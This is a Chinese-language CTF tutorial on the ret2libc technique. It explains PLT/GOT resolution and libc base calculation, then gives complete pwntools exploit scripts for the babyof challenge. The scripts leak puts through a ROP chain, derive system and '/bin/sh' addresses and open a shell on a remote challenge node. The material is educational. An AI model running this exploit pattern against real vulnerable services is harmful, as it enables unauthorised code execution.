pwn知识——ret2libc

这篇具有很好参考价值的文章主要介绍了pwn知识——ret2libc。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

这一篇主要记录的就是有关libc泄露了,困扰了我许久的玩意终于有写出来的一天了,不容易啊(哭)
不过理解了之后确实就会觉得好写很多嘞
在写题解之前还是写写libc泄露的原理和流程比较好,毕竟我自己学的时候搜索各种资料、看各种视频,真的都看得头大,一路摸爬滚打属实不易,我也希望能写出一篇能让别的初学者看得懂的原理解析。

一、libc讲解

(1).为什么要libc泄露

答:其一,当然是因为题目没有给啊!比如你想要system()函数,你想要bin/sh,但是给你的附件里边没有,然后想用ROPgadget看看能不能用ret2syscall的方法却也发现合适的pop|ret少之又少或根本就没有给你0x80和0xb。其二,就是开了PIE和RELRO,地址随机化让我们无法直接调用函数。这个时候就需要靠libc泄露地址来进行攻击了

(2).怎样实现libc泄露

要想通过libc进行地址泄露,那么我们就得先认识两个东西,GOT表(Global Offset Table)和PLT表(Procedure Linkage Table)
GOT表(全局偏移表)里存储着被调用函数真正的地址,而PLT表(程序链接表)里则储存着被调用函数的GOT表的地址给个流程图会好理解一些,以system为例,我自己画的可能有些粗略,希望能提供帮助

PLT表和GOT表的调用流程

首次调用

pwn知识——ret2libc

再次调用

pwn知识——ret2libc
如果还看不懂,那我再打个比方。顾客(system)下单,平台(system@plt)接单,平台把单子给骑手(system@got),骑手纳闷:你给我单子有啥用啊,给我外卖让我送啊。告诉平台:“火速备餐!”过了一会儿后,平台把外卖(system的真实地址)给骑手了,骑手把外卖送到顾客手上。这就是首次调用函数时所经历的过程。至于之后多次的调用,可以理解为,平台备餐做多了,刚好有个单子来就可以直接给骑手让骑手去送。生动形象!
所以,我们如果做ret2libc的题目,其核心就是通过plt表和got表,来泄露出函数的真实地址,然后构建基地址

基地址

什么是基地址?

基地址是一个固定的内存地址,你可以把它理解为got表里存储的函数的真实地址,它是一个绝对地址,是内存加载时的起始地址。打个比喻的话,那就是,如果你站在大地上,那么大地就是基地址,地面到你头顶的距离可以称为偏移地址,地面到高楼楼顶也是一个偏移地址,大地是一个基底,你们的存在都在大地之上。说点学pwn的人都知道的,那就是,它在x64的情况下是0x7f开头,在x86的情况下是0xf7开头,别把它和虚拟地址搞混了

为什么需要基地址?

因为基地址是一个基底,我们可以根据基底+偏移量就可以调用任意一个在libc.so文件里的函数,那flag不就犹如探囊取物?

总思路

1.构建第一次payload:栈溢出——泄露libc某一函数真实地址——ret某一可执行函数地址(通常是main,这一步的目的是循环)
2.获取泄露出的真实地址
3.构造基地址,并根据基地址+偏移量来调用特定函数
4.构造第二次(x64)payload:栈溢出——libc中的bin/sh地址——libc中的system函数地址
(x86)payload:栈溢出——libc中的system函数地址——打包的垃圾数据——libc中的bin/sh地址
5.交互获得权限

(3).例题:[2021 鹤城杯]babyof(最基本的ret2libc,没有代码审计和陷阱)

首先checksec
pwn知识——ret2libc
开启了NX保护和Partial RELRO,没法在栈上写代码,地址随机化让我们无法使用ret2txt手段。
再用ROPgadget看看能不能构造gadget链
pwn知识——ret2libc
发现符合要求的少得可怜,没法用ret2syscall
看看IDA代码
pwn知识——ret2libc
pwn知识——ret2libc
没有后门函数,也没有system和bin/sh提供给我们,为今之计,只有ret2libc了
在上边我们已经通过ROPgadget获取了rdi_ret_addr了,再取一个ret地址。至于为什么要ret地址,我们最后讲。
然后现在就是要通过栈溢出来泄露libc地址了,这里我们选择泄露puts函数的地址。不过记住,它是x64系统,参数先存在寄存器上,当参数超过6时,才会在往栈上传参。
所以第一次我们构造的脚本是这样的

from pwn import *
p = remote('node4.anna.nssctf.cn',28947)
elf = ELF("./2021_鹤城杯_babyof")
offset = 0x40 + 0x08
main_addr = 0x000000000040066B
pop_rdi = 0x0000000000400743
ret = 0x0000000000400506
puts_plt = elf.plt['puts'] #puts在plt表中的地址
puts_got = elf.got['puts'] #puts在got表中的地址
payload_first = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #先调用got表告诉plt表我没有puts函数地址,然后再次调用plt表给将puts函数的地址泄露出来,最后跳转回main函数再次执行
p.sendlineafter("overflow?\n",payload_first)
p.recvuntil("I hope you win\n")#第一次函数执行结束
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))#u64是接收字节流,\x7f是64位程序函数地址的默认开头,读取7f往前6字节(在内存中,字节是倒着放的)  然后用ljust来补齐8字节,\x00是填充字符,不会影响数据

到此,我们puts的真实地址就泄露完毕了,接下来就要构建libc_base然后根据偏移量调用在libc.so里的函数,再次构造payload,第二次的攻击如下

from LibcSearcher import LibcSearcher
libc = LibcSearcher("puts", real_puts_addr)
libc_base = real_puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter("overflow?\n",payload_end)
p.interactive()

因为我本人还并不太会使用gdb进行动态调试,根据本地泄露的地址来推测libc.so的版本,所以用的是LibcSearcher库
如果要用动态调试来泄露地址来推测libc.so版本,这里推荐用https://libc.rip/
如果是跟我一样不擅长使用gdb的,还是初学者的,可以用LibcSearcher库。不过这并不是长久之策,LibcSearcher已经很久没有维护过了,有些版本LibcSearcher是搜不到的,要想在pwn上走得更远,动态调试必不可少,可以说既是基础,也是精髓,更是核心
好了,那现在是总的脚本

from pwn import *
from LibcSearcher import LibcSearcher
p = remote('node4.anna.nssctf.cn',28947)
#p = process("./2021_鹤城杯_babyof")
elf = ELF("./2021_鹤城杯_babyof")
offset = 0x40 + 0x08
main_addr = 0x000000000040066B
ret = 0x0000000000400506
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400743
payload_first = offset * b'a' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter("overflow?\n",payload_first)
p.recvuntil("I hope you win\n")
real_puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher("puts", real_puts_addr)
libc_base = real_puts_addr - libc.dump("puts")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload_end = offset * b'a' + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter("overflow?\n",payload_end)
p.interactive()

运行脚本即可,但记住即使是LibcSearcher,也要选对对应的libc.so版本,否则即使你脚本代码是对的,也没有办法打通
pwn知识——ret2libc
至于为什么要进行ret空转,是因为ubuntu18及以上调用system函数的时候会先进行一个检测,如果此时的栈没有16字节对齐的话,就会强行把程序crash掉,所以需要栈对齐
———————————————————————————————————————————————————————————————————————————————————————————————
感慨:ret2libc对刚开始接触pwn的人来说,确实是很难的,因为新出来的知识点多了很多,并且也有些难度,博主自己都学习了快一周才明白到底是个什么流程,该如何进行攻击。这个真的,得自觉去学习,去搜索资料,去看相关视频。光博主自己在网络上找的都焦头烂额,感觉好多人其实讲的有些晦涩,或简略,让人很难理解,所以我萌生了自己写一篇关于libc泄露的讲解,以我自己理解的方式,尽可能的通俗生动地去讲解。可能有一些地方不太准确,欢迎大家来指正,我会在后续进行修正的文章来源地址https://www.toymoban.com/news/detail-747132.html

到了这里,关于pwn知识——ret2libc的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 字符串溢出(pwn溢出)--ret2shellcode

    有些技术再也记不住了。所以记录笔记,下面这个文档写的蛮好的,不过我实际情况和他稍有不同,特此记录 pwn溢出入门案例, 信息安全 https://saucer-man.com/information_security/177.html 这里面的例子是常见的栈溢出,例子代码就是如上文中的代码,为了测试方便,如上面作者一样,

    2024年02月02日
    浏览(31)
  • kernel-pwn之ret2dir利用技巧

    ret2dir 是2014年在USENIX发表的一篇论文,该论文提出针对 ret2usr 提出的 SMEP 、 SMAP 等保护的绕过。全称为 return-to-direct-mapped memory ,返回直接映射的内存。 在 SMEP 与 SMAP 等用于隔离用户与内核空间的保护出现时,内核中常用的利用手法是 ret2usr ,如下图所示(图片来自论文)。

    2024年02月16日
    浏览(25)
  • 【PWN · IntegerOverflow & ret2text】[BJDCTF 2020]babystack2.0

    第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单 目录 前言 一、整数溢出 二、解题思路 1.ELF/checksec查看保护 2.IDA反汇编 3.整数溢出  4.exp编写 总结 整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。 如果一个整数用来计算

    2024年02月06日
    浏览(35)
  • CTF学习笔记——ret2text

    ret2text 应该算是PWN里面比较简单的题型了,这种题型有个显著特征,就是会有个很明显的后门函数,也就是 system(\\\"/bin/sh\\\") ,我们只需要将我们的程序跳转到后门函数即可。不过我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是

    2024年02月04日
    浏览(29)
  • 记录一下误删除libc.so.6的经历

    起因: 在配置环境时,出现’GLIBCXX_3.4.29 not found’的错误,在解决这个问题的过程中,需要删除 sudo rm /usr/lib/x86_64-linux-gnu/libstdc++.so.6 软连接,但是一不小心 sudo rm /lib/x86_64-linux-gpu/libc.so.6 ,可恶的tab键。 科普: libc.so.6是c运行时库glibc的软链接,而系统几乎所有程序都依赖

    2024年01月24日
    浏览(22)
  • windows pwn 基础知识

    winchecksec winchecksec 是 windows 版的 checksec ,不过有时候结果不太准确。 checksec(x64dbg) x64dbg 的插件 checksec 检查效果比较准确,并且可以连同加载的 dll 一起检测。 将 release 的插件按 32 和 64 位分别放到 x32dbg 和 x64dbg 的 plugins 目录,如果找不到 plugins 目录则打开调试器然后关闭

    2024年02月15日
    浏览(46)
  • 【大数据开发 Spark】第一篇:Spark 简介、Spark 的核心组成(5大模块)、Spark 的主要特征(4大特征)、Spark 对比 MapReduce

    初步了解一项技术,最好的方式就是去它的官网首页,一般首页都会有十分官方且准确的介绍,学习 Spark 也不例外, 官方介绍:Apache Spark ™是一种多语言引擎,用于在单节点机器或集群上执行数据工程、数据科学和机器学习。 我们可以得知,Spark 可以单节点运行,也可以搭

    2024年02月05日
    浏览(36)
  • 开关电源电路主要元器件基础知识详解

    在学习电子电路过程中,电源我们无法绕开的一个重要部分,很多时候,故障就出现在电源部分,特别是开关电源。开关电源电路主要是由熔断器、热敏电阻器、互感滤波器、桥式整流电路、滤波电容器、开关振荡集成电路、开关变压器、光耦合器、三 端稳压器等构成的。为

    2024年02月21日
    浏览(33)
  • 第一篇博客记录test

    调试vs Code查看使用test 知识不在广泛,在于精通。知识不在积累,在于消化。 学习不在激情,在于坚持。书不在多,一两本真正看懂就行。书读百遍,其义自现。 随笔 - 897, 文章 - 1, 评论 - 81, 阅读 -  158万 目录 一、将vscode定制为markdown编辑器 1、Markdown all in one插件 2、Markdo

    2024年04月24日
    浏览(19)
  • /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.28‘ not found__为什么了解内核、Linux系统构建、驱动的相关知识对应用开发有帮助

    某项目中,我要给别人封装一个深度学习算法的SDK接口,运行在RK3588平台上,然后客户给我的交叉编译工具链是  然后我用他们给我的交叉编译工具链报下面的错误: 正常这种时候要升级glibc库,不想升级,然后我发现他们给我的交叉编译工具链带着buildroot,那说明是他们自

    2024年02月11日
    浏览(43)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包